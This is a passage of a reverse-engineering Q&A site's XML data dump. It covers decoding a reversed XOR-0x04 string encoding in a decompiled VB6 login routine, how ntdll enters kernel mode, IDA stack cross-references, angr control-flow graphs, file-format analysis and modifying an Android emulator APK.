loc_00408E81: Var_Ret_1 = CLng(__vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h))&#xA;  loc_00408E8C: var_5C = Chr(Var_Ret_1)&#xA;  loc_00408EA1: var_6C = var_24 &amp;amp; var_24&#xA;  loc_00408EC5: eax = var_5C Or FFFFFFFFh&#xA;  loc_00408ECB: var_5C Or FFFFFFFFh = var_5C Or FFFFFFFFh + Len(var_28)&#xA;  loc_00408ED5: GoTo loc_00408DBE&#xA;  loc_00408EDA: &#xA;  loc_00408EF0: var_A0 = vbEmpty&#xA;  loc_00408F04: Set var_44 = Me&#xA;  loc_00408F0F: var_28 = ip.Text&#xA;  loc_00408F3B: Set var_48 = var_28&#xA;  loc_00408F4A: var_30 = User.Text&#xA;  loc_00408FC0: var_40 = &quot;http://&quot; &amp;amp; var_28 &amp;amp; &quot;/login?name=&quot; &amp;amp; var_30 &amp;amp; &quot;&amp;amp;password=&quot; &amp;amp; var_24&#xA;  loc_00408FCA: Me.MousePointer = var_40&#xA;  loc_0040902F: GoTo loc_00409081&#xA;  loc_00409080: Exit Sub&#xA;  loc_00409081: &#xA;  loc_00409091: Exit Sub&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21244" LastEditorUserId="21244" LastEditDate="2020-03-09T18:00:52.760" LastActivityDate="2020-03-09T18:00:52.760" Title="How can I identify how this string is being encoded so I can replicate it?" Tags="|encryption|encodings|strings|visual-basic|vb6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16093" PostTypeId="2" ParentId="16092" CreationDate="2017-08-15T17:37:54.090" Score="6" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &lt;em&gt;The encryption is Bitwise XOR with the key 0x04 (see the bottom of this answer)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application uses a simple &lt;a href=&quot;https://en.wikipedia.org/wiki/Substitution_cipher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Substitution Cipher&lt;/a&gt; (Or, to be exact &lt;a href=&quot;https://en.wikipedia.org/wiki/Caesar_cipher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Caesar Cipher&lt;/a&gt; with shift 4) and then perform reverse() on the function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can domnstrate it using python's &lt;a href=&quot;https://www.tutorialspoint.com/python/string_maketrans.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;maketrans&lt;/a&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The method maketrans() returns a translation table that maps each&#xA;  character in the intabstring into the character at the same position&#xA;  in the outtab string. Then this table is passed to the translate()&#xA;  function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's a quick script for example that proves this is the encryption used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from string import maketrans&#xA;&#xA;# Define list of characters&#xA;chars = &quot;AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz1234567890&quot;  &#xA;&#xA;# Perform Caesar Cipher on our string&#xA;cipher_chars = &quot;&quot;&#xA;for c in chars:&#xA;    cipher_chars+= chr(ord(c)+4)&#xA;&#xA;# Create a translation table&#xA;transition = maketrans(chars, cipher_chars)&#xA;&#xA;# We use &quot;[::-1]&quot; to reverse the string&#xA;def encrypt (plaintext):&#xA;    return plaintext.translate(transition)[::-1] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's try it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;encrypt(&quot;1&quot;)&#xA;'5'&#xA;&#xA;encrypt (&quot;12&quot;)&#xA;'65'&#xA;&#xA;encrypt(&quot;123&quot;)&#xA;'765'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it also works vise versa:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;encrypt(&quot;65&quot;)&#xA;'12'&#xA;&#xA;encrypt(&quot;765&quot;)&#xA;'123'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to the decompiled code you've added and @Ilmari's great comment and response which was correctly pointed out the following finding: the encryption is &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation#XOR&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR&lt;/a&gt; with &quot;0x04&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the updated &lt;code&gt;encrypt&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def encrypt (plaintext):&#xA;    return ''.join(chr(ord(c) ^ 4) for c in plaintext)[::-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-08-16T12:39:04.970" LastActivityDate="2017-08-16T12:39:04.970" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16094" PostTypeId="2" ParentId="16075" CreationDate="2017-08-15T19:29:01.633" Score="10" Body="&lt;p&gt;&lt;code&gt;ntdll.dll&lt;/code&gt; is not privileged in any sense and can't do anything that your user mode library can't. So no, it doesn't have &quot;permission&quot; do directly call kernel-mode code and it doesn't do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is pass through one special interface the kernel provides in order to receive user mode calls. Depending on the version and on the CPU, the &lt;code&gt;ntdll&lt;/code&gt; functions load a couple of registers with (a) a number representing the id of the requested operation, and (b) the address of the stack, containing arguments for this operation. The it does &lt;em&gt;something special&lt;/em&gt; (see below) that causes the CPU to transition into kernel-mode, and start executing the entry point for system calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is basically a switch statement on the index, which calls the correct appropriate kernel-mode function (and copies arguments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;something special&quot; &lt;code&gt;ntdll&lt;/code&gt; does is either invoke a software interrupt (&lt;code&gt;int 0x2e&lt;/code&gt;) or, in modern versions of Windows, use a specialized instruction for system calls (&lt;code&gt;syscall&lt;/code&gt; or &lt;code&gt;sysenter&lt;/code&gt;). What both these things do is transition into ring 0 and start executing a given address from a given stack. The difference is that dispatching the interrupt requires consulting a table stored in memory (the IDT), while the specialized instructions don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's where the magic happens. Nothing really prevents you from preparing the right arguments on the stack, loading eax and edx with the right values and performing an &lt;code&gt;int 2e&lt;/code&gt; (or the appropriate stuff for x64).&lt;/p&gt;&#xA;" OwnerUserId="3939" LastActivityDate="2017-08-15T19:29:01.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16095" PostTypeId="2" ParentId="16055" CreationDate="2017-08-15T21:02:33.060" Score="7" Body="&lt;p&gt;There is one function that does this: &lt;code&gt;build_stkvar_xrefs&lt;/code&gt;, defined in C++ but exposed via the Python SWIG bindings. IDA builds stack xrefs dynamically when you ask for it. In order to use the function, it requires a little bit of setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to use a few functions to get what you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_func(ea)&lt;/code&gt;: retrieves the &lt;code&gt;func_t&lt;/code&gt; structure for the function at &lt;code&gt;ea&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_frame(func_t foo)&lt;/code&gt;: returns the &lt;code&gt;struct_t&lt;/code&gt; structure for the&#xA;function frame specified by &lt;code&gt;foo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DecodeInstruction(ea)&lt;/code&gt;: returns the &lt;code&gt;inst_t&lt;/code&gt; representing instruction at &lt;code&gt;ea&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_stkvar(op_t op, sval_t v)&lt;/code&gt;: &lt;code&gt;op&lt;/code&gt; is a reference to an instruction, &lt;code&gt;v&lt;/code&gt; is the immediate value in the operand. Usually you just use &lt;code&gt;op.addr&lt;/code&gt;. It returns a tuple, &lt;code&gt;(member_t, val)&lt;/code&gt;. &lt;code&gt;member_t&lt;/code&gt; is a pointer to the stack variable, which is what we need. &lt;code&gt;val&lt;/code&gt; is the same value as the &lt;code&gt;soff&lt;/code&gt; field in the &lt;code&gt;member_t&lt;/code&gt; for the stack var. More on this later.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;xreflist_t()&lt;/code&gt;: creates a new &lt;code&gt;xreflist&lt;/code&gt; of &lt;code&gt;xreflist_entry_t&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;build_stkvar_xrefs(xreflist_t xrefs, func_t func, member_t member)&lt;/code&gt;: fills xrefs with &lt;code&gt;xreflist_entry_t&lt;/code&gt;'s that represent the stack var xrefs given by &lt;code&gt;member&lt;/code&gt; in &lt;code&gt;func&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;struct_t.get_member(x)&lt;/code&gt;: You can use this method to iterate all stack variables in a frame to retrieve all &lt;code&gt;member_t&lt;/code&gt;'s. If you want to build xrefs for all stack variables, this is usually easier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how this all ties together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# 0x4012d0 is the function address&#xA;# 0x4012dc is an instruction address referencing&#xA;# a stack variable. It looks like:&#xA;# mov [ebp - 4], ecx&#xA;&#xA;pFunc = get_func(0x4012d0)&#xA;pFrame = get_frame(pFunc)&#xA;inst = DecodeInstruction(0x4012dc)&#xA;op = inst[0] #first operand references stack var&#xA;pMember, val = get_stkvar(op, op.addr)&#xA;xrefs = xreflist_t()&#xA;build_stkvar_xrefs(xrefs, pFunc, pMember)&#xA;for xref in xrefs:&#xA;    print hex(xref.ea) #print xref address&#xA;&#xA;# Contrived member dictionary example.&#xA;dictMem = dict()&#xA;x = 0&#xA;while(x &amp;lt; pFrame.memqty):&#xA;    dictMem[GetMemberName(pFrame.id, pFrame.get_member(x).soff)] = pFrame.get_member(x)&#xA;    x = x+1&#xA;# given var name you can now use the&#xA;# dictionary to grab the member_t to pass&#xA;# to build_stkvar_xrefs&#xA;pMem = dictMem[&quot;var_4&quot;]&#xA;xrefs = xreflist_t()&#xA;build_stkvar_xrefs(xrefs, pFunc, pMem)&#xA;for xref in xrefs:&#xA;    print hex(xref.ea) #print xrefs to var_4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;soff&lt;/code&gt; isn't a stack offset. I think it means &quot;structure offset&quot;, and it's an offset into the frame structure so you can retrieve other bits of information. You'll need this field to use other stack variable related functions such as: SetMemberType, SetMemberName, GetMemberName, DelStrucMember, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for a simple on the fly variable name to xref lookup, you can do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_stack_xrefs(func_ea, var_name):&#xA;    pFunc = get_func(func_ea)&#xA;    pFrame = get_frame(pFunc)&#xA;    pMember = None&#xA;    result = []&#xA;    while(x &amp;lt; pFrame.memqty):&#xA;        if GetMemberName(pFrame.id, pFrame.get_member(x).soff) == var_name:&#xA;           pMember = pFrame.get_member(x)&#xA;           break; &#xA;        x = x+1&#xA;    if pMember: &#xA;        xrefs = xreflist_t()&#xA;        build_stkvar_xrefs(xrefs, pFunc, pMember)&#xA;        for each in xrefs:&#xA;            result.append(each.ea)&#xA;    return result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want more information on these functions, I recommend taking a look at the following modules from the IDA SDK documentation (in no particular order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;funcs.hpp&lt;/li&gt;&#xA;&lt;li&gt;frame.hpp&lt;/li&gt;&#xA;&lt;li&gt;struct.hpp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/files.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/files.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12613" LastEditorUserId="12613" LastEditDate="2017-08-15T21:30:47.763" LastActivityDate="2017-08-15T21:30:47.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16096" PostTypeId="2" ParentId="14520" CreationDate="2017-08-15T21:42:16.897" Score="1" Body="&lt;p&gt;I've done a bit of work in this arena and never encountered a product that generates Activity Diagrams. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generated diagrams, e.g. Class and Sequence, tend to be too busy to be useful for all but trivial systems. Someone usually has to reduce them to just what is needed for some specific purpose. Otherwise it's like the proverbial &lt;em&gt;sipping water from a fire hydrant&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I favor products that reverse structures (Classes and their attributes and methods) from the source code into some model and then let me draw upon that model to create useful diagrams, from a particular perspective and for a specific purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve had good luck with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rational Rose, before IBM’s acquisition.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=2&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0ahUKEwiR76yXldrVAhVLrVQKHZmUCokQjBAIMDAB&amp;amp;url=http%3A%2F%2Fwww.sparxsystems.com%2Fproducts%2Fea%2F&amp;amp;usg=AFQjCNFF0KgsC69C0AZaeQ6eu0GCsFmt9w&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sparx Systems Enterprise Architect&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Visual Studio and Visio (circa 2005), before Microsoft crippled the products. It's a shame they removed the round trip engineering capabilities - and more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Personally I haven’t had much luck with free/open source products. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="21246" LastActivityDate="2017-08-15T21:42:16.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16097" PostTypeId="1" AcceptedAnswerId="16102" CreationDate="2017-08-15T22:05:22.303" Score="6" ViewCount="1479" Body="&lt;p&gt;I am trying to get all the library function calls that a binary performs in a preorder-DFT traversal of the CFG. I'm able to get the CFG like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys, angr&#xA;import networkx as nx&#xA;proj = angr.Project(sys.argv[1],auto_load_libs=False)&#xA;cfg = proj.analyses.CFG().graph&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to get the CFG and I can even traverse it like this (Suppose I'm getting the correct main function's node):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s = nx.dfs_preorder_nodes(cfg,mainFuncNode)&#xA;nodes = []&#xA;try:&#xA;    while True:&#xA;        nodes.append(ns.next())&#xA;except:&#xA;    pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I don't know how to get the function calls from the nodes (if they are actually doing it).&#xA;I read some documentation and all I could come up with was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for n in nodes:&#xA;    if n.is_simprocedure:&#xA;          print n.to_codenode().function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is all None and I'm sure that's wrong because the binary Is doing some I/O operations. So I expect to see something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;libc_puts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;libc_gets&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if you could give me some better pointers. &lt;/p&gt;&#xA;" OwnerUserId="21247" LastEditorUserId="53" LastEditDate="2017-08-16T08:04:16.693" LastActivityDate="2017-08-16T09:07:17.457" Title="How can I get the shared libraries' function calls using angr" Tags="|static-analysis|python|binary|control-flow-graph|angr|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16098" PostTypeId="1" CreationDate="2017-08-16T00:22:23.130" Score="1" ViewCount="995" Body="&lt;p&gt;I'd like to manually &quot;pull out&quot; information of files of a specific file format. Needless to say, they were encoded in some form or another - I couldn't access a &quot;plaintext&quot; version of them. However, the program associated with the file obviously is able to read them - And I was wondering if I could somehow reverse engineer that program and thus find out how they're being encoded, to read the content myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a broad question - But I'm not sure where else to start.&lt;/p&gt;&#xA;" OwnerUserId="21248" LastActivityDate="2020-08-20T09:01:28.497" Title="Find out how a program is reading a file" Tags="|decompilation|file-format|encodings|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16099" PostTypeId="1" AcceptedAnswerId="16169" CreationDate="2017-08-16T02:17:29.150" Score="2" ViewCount="483" Body="&lt;p&gt;I am modifying the &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.dolphinemu.dolphinemu&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dolphin Emulator Alpha&lt;/a&gt; for android, but I'm having some trouble with a string in it's &lt;code&gt;smali&lt;/code&gt; code. The value I am having trouble with is &lt;code&gt;dolphin-emu&lt;/code&gt;, it is the name of the folder that houses the emulators data and files. So far I have olny found two files containing the string, a configuration file in the &lt;code&gt;assets&lt;/code&gt; folder, and a smali script. The issue is that even afyer changing both strings to &lt;code&gt;Dolphin Emulator&lt;/code&gt;, the folder is still generated as &lt;code&gt;dolphin-emu&lt;/code&gt;. I have scoured the application for &lt;strong&gt;any&lt;/strong&gt; other references to this string and cannot find any more. How is the folder being generated with this name if I have replaced the string that represents it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.gmail.heagoo.apkeditor.pro&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;APK Editor Pro&lt;/a&gt; to modify the app, this is the method I almost always use. I've been modding android apps for years and have modded hundreds of them, but this one has me truly stumped. I've used every method I have developed over the years to hunt it down and nothing works. Using the built-in search function, I have searched for these strings to see if it is &quot;split&quot; or possibly even hidden:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;dolphin-emu&quot;&#xA;&quot;dolphin&#xA;&quot;/dolphin&#xA;emu&quot;&#xA;emu/&quot;&#xA;&quot;DOLPHIN-EMU&quot;&#xA;ect...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing else turns up, the app &lt;em&gt;is not&lt;/em&gt; obfuscated or protected, and I can't find anything else that could potentialy hold the string I am trying to mod. Initially this was about simply changing the value, but now I just want to figure out how this is happening. Even uninstalling then re-installing after modifying the APK did not work, I thought that it may be possible for a settings file in the apps data folder to &quot;remember&quot; where the folder was stored. I've &lt;strong&gt;&lt;em&gt;never&lt;/em&gt;&lt;/strong&gt; had this much trouble locating and modifying a string in an app before.&lt;/p&gt;&#xA;" OwnerUserId="21084" LastEditorUserId="21084" LastEditDate="2017-08-16T02:27:15.270" LastActivityDate="2017-08-23T18:59:42.597" Title="Dolphin Emulator Android port modifications" Tags="|android|strings|local-variables|binary-editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16100" PostTypeId="2" ParentId="16098" CreationDate="2017-08-16T05:15:00.103" Score="4" Body="&lt;p&gt;This is what I would do given the very limited information:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start by examining the file in a hex editor like HxD or 010 Editor. Take note of any &quot;constants.&quot; For example, all Windows exe files start with the bytes 4D 5A or &quot;MZ&quot;. Do these files start with a consistent byte signature? Scroll down in the hex editor and find out what other patterns you can find.&lt;/li&gt;&#xA;&lt;li&gt;Use a tool such as Detect It Easy or PortEx Analyzer to measure the entropy on the file's bytes and/or map them out. Is the entropy very high such that the tool indicates the file is packed, or is it lower? This can give you clues on whether or not is encoded and perhaps even what type of encoding may be used.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would take the above information gathered and search the Internet for any constants or patterns that I found across the files. See if you can find anyone else discussing these files or any programs which use them. If you can find other programs using the files, try and locate source code or something on GitHub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said, this is open-ended and there isn't much room for discussion here other than comments, but this is how I would start the process. Do you know which program is encoding the files? If so, get ahold of the program's executable and use a tool like PEiD KANAL and/or signsrch on it to search for common encoding algorithms, then get the addresses of those algorithms and open the program executable in a disassembler and examine the memory addresses. Last but not least, another trick you can use is if you can figure out which type of info may be in the file (such as URLs), you can use the Didier Stevens tool called XORSearch and search for &quot;http&quot; and the program will try a bunch of different XOR keys for that pattern and if it is able to crack an http somewhere, you may be able to find out the encoding that way.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-08-16T05:15:00.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16101" PostTypeId="2" ParentId="16098" CreationDate="2017-08-16T07:58:40.260" Score="0" Body="&lt;p&gt;I would advise you to use a dynamic analysis of the software by tracing it using tools such as the &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel PIN tool&lt;/a&gt; (I am assuming you are dealing with x86 assembly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this tool you can trace each executed instruction by the software (see &lt;a href=&quot;http://www.ic.unicamp.br/~rodolfo/mo801/04-PinTutorial.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial on PIN&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your point will be to find &lt;a href=&quot;https://en.wikipedia.org/wiki/System_call&quot; rel=&quot;nofollow noreferrer&quot;&gt;system call&lt;/a&gt; that open the correct file (one of the parameter of the system call will be the path to the file, so you should be able to find it with a simple &lt;code&gt;grep&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have located the instruction that open the file, I would advise you to start disassembling from this point (use software such as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA pro&lt;/a&gt;, &lt;a href=&quot;http://rada.re/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare2&lt;/a&gt;, or even gdb/Ollydbg could do it).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-16T07:58:40.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16102" PostTypeId="2" ParentId="16097" CreationDate="2017-08-16T09:07:17.457" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However I don't know how to get the function calls from the nodes &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you saying you want to know which function a node belongs to, or which function a node is calling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the former, each block has a corresponding &lt;code&gt;CFGNode&lt;/code&gt; object that are in the graph. Each &lt;code&gt;CFGNode&lt;/code&gt; has a &lt;code&gt;.function_address&lt;/code&gt; member, which tells you the address of the function that the node belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the latter, every edge in the graph is labeled with properties, and we use 'jumpkind' to mark the type of an edge. An &lt;code&gt;Ijk_Call&lt;/code&gt; jumpkind means that edge is a call from a block (or a node) to a function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, angr's CFG class is more than just the &lt;code&gt;.graph&lt;/code&gt; member (which is a &lt;code&gt;networkx.DiGraph&lt;/code&gt; instance). You might find it easier sometimes to directly work on &lt;code&gt;CFG&lt;/code&gt;, instead of manually traversing the graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, once a CFG is generated, you can access all functions by accessing &lt;code&gt;CFG.functions&lt;/code&gt;. Each &lt;code&gt;Function&lt;/code&gt; instance has two intra-function graphs associated with it: a &lt;code&gt;.graph&lt;/code&gt; and a &lt;code&gt;.transition_graph&lt;/code&gt;. You may find it easier to work with than traversing the CFG of the whole binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, if you like GUI, and you have a lot of patience, you might want to give &lt;a href=&quot;https://github.com/angr/angr-management/&quot; rel=&quot;noreferrer&quot;&gt;angr Management&lt;/a&gt; a try.&lt;/p&gt;&#xA;" OwnerUserId="21251" LastActivityDate="2017-08-16T09:07:17.457" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16103" PostTypeId="2" ParentId="13411" CreationDate="2017-08-16T09:15:06.320" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Angr (breaks easily or computes forever)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are still interested in finding a solution, you might want to give angr another try. You should hop on our slack channel (angr.slack.com, please get an invite from &lt;a href=&quot;http://angr.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://angr.io&lt;/a&gt;) so we can solve any CFG recovery issues together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe angr gives you the best flexibility out of all solutions you have mentioned, without going into the symbolic execution hell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm a core angr developer.&lt;/p&gt;&#xA;" OwnerUserId="21251" LastActivityDate="2017-08-16T09:15:06.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16104" PostTypeId="2" ParentId="16089" CreationDate="2017-08-16T09:25:32.247" Score="1" Body="&lt;p&gt;You may also need to enable jumptable analysis options &lt;code&gt;e anal.jmptbl&lt;/code&gt; before analysis and you also need latest git version of radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/ 2018 This is now default to true as the functionality have been improved.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="3721" LastEditDate="2018-07-16T01:12:38.587" LastActivityDate="2018-07-16T01:12:38.587" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="16105" PostTypeId="2" ParentId="16092" CreationDate="2017-08-16T10:07:11.833" Score="4" Body="&lt;p&gt;Based on your examples, it looks like the strings are reversed and each byte is &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation#XOR&quot; rel=&quot;nofollow noreferrer&quot;&gt;XORed&lt;/a&gt; with the byte 4.  Here's a quick Perl one-liner to demonstrate this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -lne 'print reverse($_) ^ (&quot;\x04&quot; x length($_))'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and what happens when you apply it to your test strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat test.txt&#xA;AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz&#xA;1234567890&#xA;1&#xA;2&#xA;123&#xA;?&#xA;789:;&amp;lt;=&amp;gt;?&#xA;&#xA;$ perl -lne 'print reverse($_) ^ (&quot;\x04&quot; x length($_))' test.txt &#xA;~^}]|\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE&#xA;4=&amp;lt;3210765&#xA;5&#xA;6&#xA;765&#xA;;&#xA;;:98?&amp;gt;=&amp;lt;3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fact that the input string gets reversed is pretty obvious if you compare the encryptions of &lt;code&gt;1&lt;/code&gt; &amp;rarr; &lt;code&gt;5&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; &amp;rarr; &lt;code&gt;6&lt;/code&gt; with &lt;code&gt;123&lt;/code&gt; &amp;rarr; &lt;code&gt;765&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After figuring that out, and guessing that the rest is just a bytewise substitution cipher, you can figure out the pattern to the substitutions by looking at the encryptions of the letters.  Specifically, we can see that (ignoring the reversal), the letters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;encrypt to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EFG@ABCLMNOHIJKTUVWPQRS\]^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Noting that &lt;code&gt;@&lt;/code&gt; comes right before &lt;code&gt;A&lt;/code&gt; in ASCII (and &lt;code&gt;`&lt;/code&gt; likewise comes right before &lt;code&gt;a&lt;/code&gt;), we can see that the encrypted alphabet is shuffled around in chunks of 4 letters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input:  ABC DEFG HIJK LMNO PQRS TUVW XYZ&#xA;Output: EFG @ABC LMNO HIJK TUVW PQRS 